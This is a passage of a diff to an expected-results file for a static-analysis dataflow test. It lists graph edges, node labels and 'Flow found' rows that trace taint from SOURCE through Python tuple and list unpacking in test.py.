test.py:614:11:614:13 | IterableElement | test.py:614:11:614:13 | SSA variable a2 [List element] | +| test.py:614:11:614:13 | SSA variable a2 [List element] | test.py:617:12:617:13 | ControlFlowNode for a2 [List element] | +| test.py:614:11:614:13 | SSA variable a2 [List element] | test.py:618:10:618:11 | ControlFlowNode for a2 [List element] | +| test.py:617:12:617:13 | ControlFlowNode for a2 [List element] | test.py:617:12:617:16 | ControlFlowNode for Subscript | +| test.py:618:10:618:11 | ControlFlowNode for a2 [List element] | test.py:618:10:618:14 | ControlFlowNode for Subscript | | test.py:692:16:692:21 | ControlFlowNode for SOURCE | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | @@ -569,30 +497,39 @@ nodes | test.py:523:10:523:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:529:10:529:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:529:30:529:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:530:5:530:5 | SSA variable a | semmle.label | SSA variable a | | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:530:12:530:12 | SSA variable c | semmle.label | SSA variable c | | test.py:531:10:531:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:533:10:533:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | +| test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element, List element] | +| test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | +| test.py:538:11:538:20 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:538:12:538:19 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:538:13:538:18 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | +| test.py:539:5:539:11 | IterableElement [List element, List element] | semmle.label | IterableElement [List element, List element] | +| test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element] | +| test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | +| test.py:539:5:539:14 | IterableElement [List element, List element, List element] | semmle.label | IterableElement [List element, List element, List element] | +| test.py:539:5:539:14 | IterableSequence [List element, List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element, List element] | +| test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:539:6:539:10 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:539:6:539:10 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | +| test.py:539:7:539:9 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:539:7:539:9 | IterableElement | semmle.label | IterableElement | +| test.py:539:7:539:9 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:539:8:539:8 | SSA variable a | semmle.label | SSA variable a | +| test.py:540:10:540:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:546:18:546:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:547:5:547:5 | SSA variable a | semmle.label | SSA variable a | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [Tuple element at index 0] | -| test.py:547:8:547:9 | SSA variable b | semmle.label | SSA variable b | -| test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | semmle.label | SSA variable b [Tuple element at index 0] | +| test.py:547:8:547:9 | IterableElement | semmle.label | IterableElement | +| test.py:547:8:547:9 | SSA variable b [List element] | semmle.label | SSA variable b [List element] | | test.py:548:10:548:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:549:12:549:12 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | -| test.py:550:10:550:10 | ControlFlowNode for b [Tuple element at index 0] | semmle.label | ControlFlowNode for b [Tuple element at index 0] | +| test.py:550:10:550:10 | ControlFlowNode for b [List element] | semmle.label | ControlFlowNode for b [List element] | | test.py:550:10:550:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | | test.py:556:11:556:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | @@ -601,129 +538,78 @@ nodes | test.py:556:40:556:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | | test.py:556:41:556:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | | test.py:559:6:559:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:559:6:559:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | | test.py:559:7:559:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:559:7:559:16 | IterableElement | semmle.label | IterableElement | +| test.py:559:7:559:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | | test.py:559:11:559:12 | SSA variable a2 | semmle.label | SSA variable a2 | | test.py:559:15:559:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:559:28:559:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | | test.py:560:10:560:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | | test.py:561:12:561:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | | test.py:562:10:562:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | | test.py:567:5:567:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:567:5:567:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | | test.py:567:7:567:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | | test.py:567:7:567:16 | IterableElement | semmle.label | IterableElement | +| test.py:567:7:567:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | | test.py:567:11:567:12 | SSA variable a2 | semmle.label | SSA variable a2 | | test.py:567:15:567:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:567:28:567:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | | test.py:568:10:568:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | | test.py:569:12:569:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | | test.py:570:10:570:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | | test.py:575:6:575:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | | test.py:575:6:575:17 | IterableElement | semmle.label | IterableElement | +| test.py:575:6:575:17 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:575:6:575:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:575:6:575:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | | test.py:575:7:575:8 | SSA variable a1 | semmle.label | SSA variable a1 | | test.py:575:11:575:12 | SSA variable a2 | semmle.label | SSA variable a2 | | test.py:575:15:575:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:575:28:575:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | | test.py:576:10:576:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | | test.py:577:12:577:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | | test.py:578:10:578:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:584:12:584:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, List element, Tuple element at index 0] | | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:587:5:587:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:587:5:587:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | | test.py:587:6:587:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | -| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | | test.py:587:6:587:14 | IterableElement | semmle.label | IterableElement | -| test.py:587:6:587:14 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:587:6:587:14 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | +| test.py:587:6:587:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:587:6:587:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | | test.py:587:7:587:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:587:7:587:8 | SSA variable a1 [List element] | semmle.label | SSA variable a1 [List element] | -| test.py:587:7:587:8 | SSA variable a1 [Tuple element at index 0] | semmle.label | SSA variable a1 [Tuple element at index 0] | -| test.py:587:11:587:13 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:587:11:587:13 | IterableElement | semmle.label | IterableElement | | test.py:587:11:587:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:587:11:587:13 | SSA variable a2 [Tuple element at index 0] | semmle.label | SSA variable a2 [Tuple element at index 0] | -| test.py:587:17:587:18 | ControlFlowNode for Starred [List element, List element] | semmle.label | ControlFlowNode for Starred [List element, List element] | -| test.py:587:17:587:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [List element, Tuple element at index 0] | -| test.py:587:17:587:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | -| test.py:587:17:587:18 | SSA variable b [List element] | semmle.label | SSA variable b [List element] | -| test.py:587:17:587:18 | SSA variable b [Tuple element at index 0] | semmle.label | SSA variable b [Tuple element at index 0] | -| test.py:587:23:587:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | | test.py:588:10:588:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:589:12:589:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:590:10:590:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:590:10:590:11 | ControlFlowNode for a2 [Tuple element at index 0] | semmle.label | ControlFlowNode for a2 [Tuple element at index 0] | -| test.py:590:10:590:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:591:12:591:13 | ControlFlowNode for a1 [List element] | semmle.label | ControlFlowNode for a1 [List element] | -| test.py:591:12:591:13 | ControlFlowNode for a1 [Tuple element at index 0] | semmle.label | ControlFlowNode for a1 [Tuple element at index 0] | -| test.py:591:12:591:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:593:12:593:12 | ControlFlowNode for b [List element] | semmle.label | ControlFlowNode for b [List element] | -| test.py:593:12:593:12 | ControlFlowNode for b [Tuple element at index 0] | semmle.label | ControlFlowNode for b [Tuple element at index 0] | -| test.py:593:12:593:15 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:596:7:596:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:597:10:597:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, List element, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 1, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1, Tuple element at index 0] | -| test.py:605:5:605:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | -| test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | -| test.py:605:7:605:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:605:7:605:8 | SSA variable a1 [Tuple element at index 0] | semmle.label | SSA variable a1 [Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [List element, Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | -| test.py:605:7:605:13 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | -| test.py:605:11:605:13 | SSA variable a2 [Tuple element at index 0] | semmle.label | SSA variable a2 [Tuple element at index 0] | -| test.py:605:17:605:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [List element, Tuple element at index 0] | -| test.py:605:17:605:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | -| test.py:605:17:605:18 | SSA variable b [Tuple element at index 0] | semmle.label | SSA variable b [Tuple element at index 0] | -| test.py:605:23:605:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | -| test.py:606:10:606:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:608:10:608:11 | ControlFlowNode for a2 [Tuple element at index 0] | semmle.label | ControlFlowNode for a2 [Tuple element at index 0] | -| test.py:608:10:608:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:609:12:609:13 | ControlFlowNode for a1 [Tuple element at index 0] | semmle.label | ControlFlowNode for a1 [Tuple element at index 0] | -| test.py:609:12:609:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:611:12:611:12 | ControlFlowNode for b [Tuple element at index 0] | semmle.label | ControlFlowNode for b [Tuple element at index 0] | -| test.py:611:12:611:15 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:590:12:590:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:590:12:590:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:591:10:591:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:591:10:591:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:614:6:614:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | semmle.label | ControlFlowNode for List [Tuple element at index 0] | | test.py:614:6:614:14 | IterableElement | semmle.label | IterableElement | +| test.py:614:6:614:14 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | +| test.py:614:6:614:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | | test.py:614:7:614:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:614:11:614:13 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:614:11:614:13 | IterableElement | semmle.label | IterableElement | +| test.py:614:11:614:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | | test.py:615:10:615:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:616:12:616:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:617:12:617:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:617:12:617:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:618:10:618:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | +| test.py:618:10:618:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | | test.py:692:16:692:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select @@ -827,16 +713,13 @@ nodes | test.py:523:10:523:10 | ControlFlowNode for a | test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | | test.py:531:10:531:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | | test.py:531:10:531:10 | ControlFlowNode for a | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:531:10:531:10 | ControlFlowNode for a | Flow found | -| test.py:533:10:533:10 | ControlFlowNode for c | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | -| test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | -| test.py:533:10:533:10 | ControlFlowNode for c | test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:533:10:533:10 | ControlFlowNode for c | Flow found | +| test.py:540:10:540:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:540:10:540:10 | ControlFlowNode for a | Flow found | +| test.py:540:10:540:10 | ControlFlowNode for a | test.py:538:13:538:18 | ControlFlowNode for SOURCE | test.py:540:10:540:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | | test.py:548:10:548:10 | ControlFlowNode for a | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:548:10:548:10 | ControlFlowNode for a | Flow found | -| test.py:549:12:549:12 | ControlFlowNode for b | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:549:12:549:12 | ControlFlowNode for b | Flow found | -| test.py:549:12:549:12 | ControlFlowNode for b | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:549:12:549:12 | ControlFlowNode for b | Flow found | -| test.py:549:12:549:12 | ControlFlowNode for b | test.py:546:18:546:23 | ControlFlowNode for SOURCE | test.py:549:12:549:12 | ControlFlowNode for b | Flow found | | test.py:550:10:550:13 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:550:10:550:13 | ControlFlowNode for Subscript | Flow found | | test.py:550:10:550:13 | ControlFlowNode for Subscript | test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:550:10:550:13 | ControlFlowNode for Subscript | Flow found | +| test.py:550:10:550:13 | ControlFlowNode for Subscript | test.py:546:18:546:23 | ControlFlowNode for SOURCE | test.py:550:10:550:13 | ControlFlowNode for Subscript | Flow found | | test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | | test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | | test.py:560:10:560:11 | ControlFlowNode for a1 | test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:560:10:560:11 | ControlFlowNode for a1 | Flow found | @@ -875,27 +758,15 @@ nodes | test.py:578:10:578:11 | ControlFlowNode for a3 | test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:578:10:578:11 | ControlFlowNode for a3 | Flow found | | test.py:588:10:588:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:588:10:588:11 | ControlFlowNode for a1 | Flow found | | test.py:588:10:588:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:588:10:588:11 | ControlFlowNode for a1 | Flow found | -| test.py:589:12:589:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:589:12:589:13 | ControlFlowNode for a2 | Flow found | -| test.py:589:12:589:13 | ControlFlowNode for a2 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:589:12:589:13 | ControlFlowNode for a2 | Flow found | -| test.py:590:10:590:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:590:10:590:14 | ControlFlowNode for Subscript | Flow found | -| test.py:590:10:590:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:590:10:590:14 | ControlFlowNode for Subscript | Flow found | -| test.py:591:12:591:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:591:12:591:16 | ControlFlowNode for Subscript | Flow found | -| test.py:591:12:591:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:591:12:591:16 | ControlFlowNode for Subscript | Flow found | -| test.py:593:12:593:15 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:593:12:593:15 | ControlFlowNode for Subscript | Flow found | -| test.py:593:12:593:15 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:593:12:593:15 | ControlFlowNode for Subscript | Flow found | -| test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | -| test.py:597:10:597:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:597:10:597:11 | ControlFlowNode for a1 | Flow found | -| test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | -| test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | -| test.py:608:10:608:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:608:10:608:14 | ControlFlowNode for Subscript | Flow found | -| test.py:608:10:608:14 | ControlFlowNode for Subscript | 